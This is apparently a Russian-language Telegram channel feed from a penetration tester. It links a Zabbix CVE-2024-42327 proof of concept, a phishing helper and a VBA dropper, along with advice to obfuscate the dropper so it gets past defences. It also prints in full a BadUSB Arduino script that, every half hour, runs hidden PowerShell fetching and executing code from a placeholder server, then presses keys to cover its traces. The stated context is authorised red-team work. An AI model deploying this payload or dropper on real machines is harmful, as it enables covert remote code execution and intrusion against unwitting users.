FCK HARDER

CVE-2024-42327 😌

Немного опоздал, но, учитывая то, как забикс заполонил корпоративные сети и оценку уязвимости в 9.9 баллов по шкале CVSS, пок не утратил свою актуальность:

https://github.com/depers-rus/CVE-2024-42327

Для эксплуатации нужна валидная учетка с любой ролью, учетки которой могут взаимодействовать с апишкой.
Пок написан под постгрю, для других субд адаптируйте синтаксис запроса.

TRY FCK HARDER 😇

Сети и системы передачи информации

Пожалуй, это один из лучших курсов, которые я когда-либо видел по практическим сетям. Сколько бы раз я ни рассказывал про него, всегда все просили поделиться ссылкой. И вот оно случилось: @sadykovildar дал добро (за что ему большое спасибо), а значит, ловите🎸

https://sadykov.notion.site/1-bb9630269fa14ce4b21f5b10339af168

Т.к. репа в ноушене, для просмотра лекционного материала, используйте VPN.

TRY FCK HARDER 👀

gophishGroupsAdder 😩

Всем ку! Давно не виделись!
Думаю, очевидно, что 4 квартал никого не щадит)

Исходя из задачек и того материала, над которым в данный момент работаю, решил написать следующий простенький скриптец:

https://github.com/E1tex/gophishGroupsAdder

Мало кто любит бдсм вишинг, но нужен этот скрипт по большому счету только для этого.

В случаях, когда заказчик пуляет в вас миллион клиентов, которых надо будет отзвонить, а соответственно и таргетированно отослать письма, ручками заносить всех пользаков в разные группы было бы слишком долго. Тут вам и поможет gophishGroupsAdder, работающий на основе Gophish API. Enjoy!

TRY FCK HARDER ☺️

Разведка/кибер-диверсии/16 часов в розыске/угон авто на проектах по физическому пентесту

Под прошлым роликом по физическому проникновению было много комментариев о том, что хотелось бы более основательно углубиться в эту тему.
Комменты читаем, прислушиваемся, решили нашей скромной командой записать подкаст, в котором поговорили буквально обо всем)
пысы. Название говорит само за себя..🤡

https://www.youtube.com/watch?v=s9B9zxnMSzA

Смотрим, подписываемся, лайкаем и оставляем комментарии!

TRY FCK HARDER 🤩

Ребята, всем спасибо за участие в нашем конкурсе🔥
Мы определили 3 победителей, которые завтра заберут у нас свои призы🔥🔥🔥

🚀1 место @scan87
🚀2 место @Casuaq
🚀3 место @mr4nd3r5on

Все участники поразили нас скоростью и профессионализмом. Благодарим всех! В следующий раз сделаем конкурс посложнее. Нам подсветили наши недочеты, а мы заметили как легко и играючи вы со всем справились☠️

Всем еще раз спасибо за участие! 🔥🔥🔥

Двигаем от второго выхода автозаводской 👊 Карточки все еще есть..

Поехали 😛

Все еще достоин.. 😮

Всем ку, давно не слышались!
В последнее время у меня были (и в ближайшее время будут 🤩) очень загруженные дни, которые не оставляли шанса запостить что-нибудь годное в канал. Основная проблема, в общем-то, и заключается в том, что сделать хочется качественно, но 24 часа в сутках, увы, не позволяют разорваться и преуспеть везде.

Это ни в коем случае не пост-оправдание, почему одмен проебывается и дропает так мало постов, скорее я просто хочу немного похвастаться и поделиться с вами своими успехами)

И такс, поехали, чем же занимался одмен все это время:

1. Вернулся к преподаванию
Удалось даже остаться в той стезе, в которой у меня уже был опыт - Python в Пентесте 🤓
*Уже даже есть фидбэк<3, спасибо любимым студентам, некоторые из которых подписаны и сейчас это читают*

2. Сдал BSCP 😮
Пасиба гайдам от товарища по цеху и хорошего друга Никиты - @wr3dmast3rvs. Абсолютно точно не я первый это скажу, но, по моим наблюдениям, гига важно на каждый потенциально уязвимый эндпоинт использовать Active Scan, а так же не забывать сразу ставить логинку на брут(вордлисты брал тут).
Уже после экзамена несколько раз ловил себя на мысли о том, как можно было бы без скана найти те или иные векторы, а в частности контексты внедрения.. Скорее всего, учитывая ограничения по времени, это близко, если и не к невозможному, то абсолютно точно к полной жопе, которую можно избежать, просто направляя запросы в Active Scan!

3. Сходил на Pentest Award 😎
Подавал свой кейс с использованием технологий DeepFaceLive во время социалки, который позволил мне попасть в шорт-листы и оставаться конкурентным участником в своей номинации(Ловись рыбка).
Не буду рассказывать про свой фидбэк, потому что не я сижу в жюри, но с некоторыми призовыми кейсами я был немного несогласен, думаю, кто смотрел, тот поймет.
В любом случае, спасибо ребятам за то, что позвали, а я в свою очередь пойду набирать багаж опыта, чтобы было чем поделиться на премии в следующем году)

А на этом пока все, годнота близко, и думаю, что скоро смогу запостить кое-что интересное по хардваре! still fck harder!

TRY FCK HARDER 🥳

Стань инсайдером на OFFZONE 2024 💪

Всем привет, приближается оффзон, а это значит, что самое время начинать к нему готовиться!

Вместе с парнями с каналов @pro_pentest и @api_0 мы предлагаем Вам почувствовать себя в шкуре инсайдера, а так же побороться за крутые призы!

С деталями челленджа знакомьтесь в видосе:
https://youtu.be/WE-GAswXMUA

Увидимся на оффзоне!
TRY FCK HARDER 💪

ПРОНИКАЕМ НА ЗАЩИЩАЕМЫЙ ОБЪЕКТ

Всем Q, недавно совместно с @pro_pentest замутили небольшое интервью по прошедшему сольному проекту по физике:

Ссылка!

В прод попала чистейшая выжимка, так что, если такого рода контент залетит, будем дальше пилить и расширять подобный формат.

Интересных проектов много, так что рассказать точно будет о чем 😈

TRY FCK HARDER 🎉

BadUSB Check-Script 😈

Если во время выполнения работы по социальной инженерии — будь то через флешки или физику, — нам не требуется делать пробив, мы можем просто отправить запрос на подконтрольный сервер и залогировать входящие запросы.

Поскольку заказчику необходимо знать, кому проводить обучение после завершения кампании 😐, нам нужно собрать минимальную информацию о хосте, с которого был отправлен запрос. В скрипте ниже, используя переменные окружения, мы отправляем с виндовой тачки запрос, содержащий hostname и username.

Помимо сбора информации, такой подход помогает не потерять запросы, которые мы можем пропустить из-за надоедливых сканов со стороны Shodan, Censys и пр.

Скрипт, который я написал и активно использую, работает с модулем Paensy, разбор которого был ранее на канале:

#include <paensy.h>

void setup() {
  delay(5000);
  SetDelay(100);
  while (true) {
    delay(5000);
    RunCommand("powershell -windowstyle hidden IEX (New-Object System.Net.WebClient).DownloadString('http://IP:PORT/%computername%/%username%')");
    PressKey(KEY_ENTER, 1);
    PressKey(KEY_ESC, 1);
    Keyboard.press(KEY_LEFT_SHIFT);
    Keyboard.press(KEY_LEFT_ALT);
    Keyboard.releaseAll();           
    delay(500);
    RunCommand("powershell -windowstyle hidden IEX (New-Object System.Net.WebClient).DownloadString('http://IP:PORT/%computername%/%username%')");
    PressKey(KEY_ENTER, 1);
    PressKey(KEY_ESC, 1);
    Keyboard.press(KEY_LEFT_GUI);
    Keyboard.press(KEY_SPACE);
    Keyboard.releaseAll();           
    delay(500);
    RunCommand("powershell -windowstyle hidden IEX (New-Object System.Net.WebClient).DownloadString('http://IP:PORT/%computername%/%username%')");
    PressKey(KEY_ENTER, 1);
    PressKey(KEY_ESC, 1);
    PressKey(KEY_BACKSPACE, 1);
    delay(1800000);
  }
}

void loop() {
}

А для того, чтобы отлавливать запросы, мы можем использовать простой Python HTTP Server:

sudo PYTHONUNBUFFERED=x python3 -m http.server PORT &> ../http.server.log & echo $! > ../http.server.pid

Здесь мы:
1. Отключаем буферизацию вывода;
2. Перенаправляем как stderr, так и stdout в лог-файл;
3. Записываем pid в файл, чтоб не потерять его и спокойно убить процесс, в случае необходимости.

По основному скрипту:
1. Основной скрипт для Arduino меняет язык раскладки, используя всего два сочетания клавиш, что можно изменить по вашему усмотрению;

2. Если цель еще не на рабочем месте, можно вставить плату и забыть о ней— скрипт выполняется каждые полчаса в бесконечном цикле;

3. Нажатие же клавиш типа ESC,ENTER и BACKSPACE нужно для того, чтобы, если компьютер заблокирован, у таргета стирались те данные, которые были введены в процессе выполнения скрипта.
не палимся)

TRY FCK HARDER 🕺

Друзья, сообщество Standoff.

Благодарим всех, кто играл сегодня с нами. Конечно же мы благодарим наших союзников, отличных ребят, экспертов своего дела, а также благодарим наших соперников, с которыми создали по-настоящему накаленную атмосферу.

Обращаемся к вам, чтобы обрамить наши последующие действия в понятный и доходчивый посыл: Мы не хотим дискредитировать вашу хорошую игру, но не согласны с тем, что организаторы обеспечили честную игру для каждой команды.

На этом мероприятии мы и вы наблюдали, следующие факты, не позволяющие признавать происходящее настоящим сравнением сил сторон.

1. Те риски, что не смогла реализовать Государство S были неподготовлены к игре и нерешабельны, другая часть рисков так и не была доступна для решения в ходе игры из-за ошибок в системах скада и работе сети.

2. Нашим соперникам досталось 3 сегмента сети для атак, которые весь год находились на полигоне 365, а заверения организаторов о том, что они обновили инфраструктуру и задачи не оказались правдой.

3. Организаторы знали, что команда Pr1me, которая с самого начала отказалась играть, и даже на этапе подготовки сообщила об этом, была включена в общий зачет. А в последствии принесла победное значение коэффициента команде государства F своим "внезапным" отсутствием.

Как утверждалось в презентации мероприятия: "Победит самое сплоченное государство". Определенно государство S вышло победителем в этой схватке, как самое сплоченное, сыгранное и объединившееся. Мы благодарим за игру наших соратников, мы также благодарим за игру наших соперников.

В сложившейся ситуации мы вынуждены принять решение об отказе от участия в дальнейших активностях мероприятия Standoff 13.

True0xA3 (ТруОАЗ)

Лучший евент от лучших организаторов 🤡

Нереально на самом деле обидно за каждую команду из государства S, а, в частности, за четверку лучших его команд.

Помимо упомянутого в посте ниже, в программу лучшего евента от лучших оргов вошли:
1. Постоянные проблемы с брутом, неоднократно забывали закидывать необходимые креды в словари.
2. Дохлые хосты, как внутри лабораторной инфры, так и платформа для сдачи отчетов.
3. Баги, которые мешают сдать отчет.
4. Неожиданные сливы оргами инфы всем командам, на поиск которой, некоторые команды тратили драгоценное время.
5. Ну и, конечно, слухи о том, что некоторым командам непосредственно орги хинтили и сливали решение по таскам 🤡 А немного проанализировав, можно понять, что эти слухи не такие уж и безосновательные!)()9)0)

TRY FCK HARDER ☠️
Not Pay harder(((

VBA_Dropper 👀

Написал небольшой дроппер на VBA, который качает с сервера архив, распаковывает его в диру с рандомным названием, закидывает туда содержимое и запускает. Пользуйте, Друзья!
Только перед этим не забудьте чутка подобфусцировать его, чтобы точно дошел до адресата)

https://github.com/E1tex/VBA_Dropper.git

*Можете подредачить его, чтобы он, например, сразу распаковывал файл в Startup диру(?) 👍*

TRY FCK HARDER 🔥

Красавица и HTML Injection. Почему HTMLi не только про дефейс 🚨

https://habr.com/ru/articles/804863/

Таки встретил свет мой лонгрид по HTML-инъекциям! Начинающие специалисты, набирайтесь терпения! А для продвинутых хакеров я сделал удобное оглавление, которым вы можете воспользоваться для изучения конкретно интересующей вас темы!

Приятного прочтения!

TRY FCK HARDER 🤩

non-typical PeneTration 🎹

https://teletype.in/@r00t_owl/hXHHVdpGeyY

Недавно принял участие в оч интересном проекте по физике, нам даже удалось отснять некоторые ключевые моменты, edit по которым мы уже закинули на ютаб, приятного просмотра:

https://www.youtube.com/watch?v=1N5WyC1qwtI

TRY FCK HARDER ☠️

Pineapple with Eyes 👁👁

https://teletype.in/@e1tex/pineapplewitheyes

В данной статье мы рассмотрим сборку аппаратной закладки, которая не будет требовать прямого доступа к атакуемым системам - Wi-Fi Pineapple. Кроме того, мы изучим, как это устройство может быть задействовано не только при атаках на Wi-Fi сети, но и в качестве IP-камеры для наблюдения за объектами.

TRY FCK HARDER 👁

Awesome-InfoSec-TG-channels 🤨

https://github.com/k0yt/Awesome-InfoSec-TG-channels

Интересный проект по парсингу ТГ каналов по теме киберсесурити. Там можно поискать всякие интересности или, например, подыскать коллег по цеху с целью взаимного продвижения каналов ))

Даже свое детище там нашел, между прочим, на 225 месте 😇
Правда без тега pentest lul >_<

TRY FCK HARDER 💀

CUNP(Common UserName Profiler) 🕷

Туловина для генерации списка имен пользователей.
Писалась чисто под задачки, которые встречаются в работе повсеместно.
Из прикольных фитч — тонкая настройка входящих данных: от количества пользователей, до шаблонов, по которым надо генерить список 😎

https://github.com/E1tex/CUNP

Enjoy!
TRY FCK HARDER 😈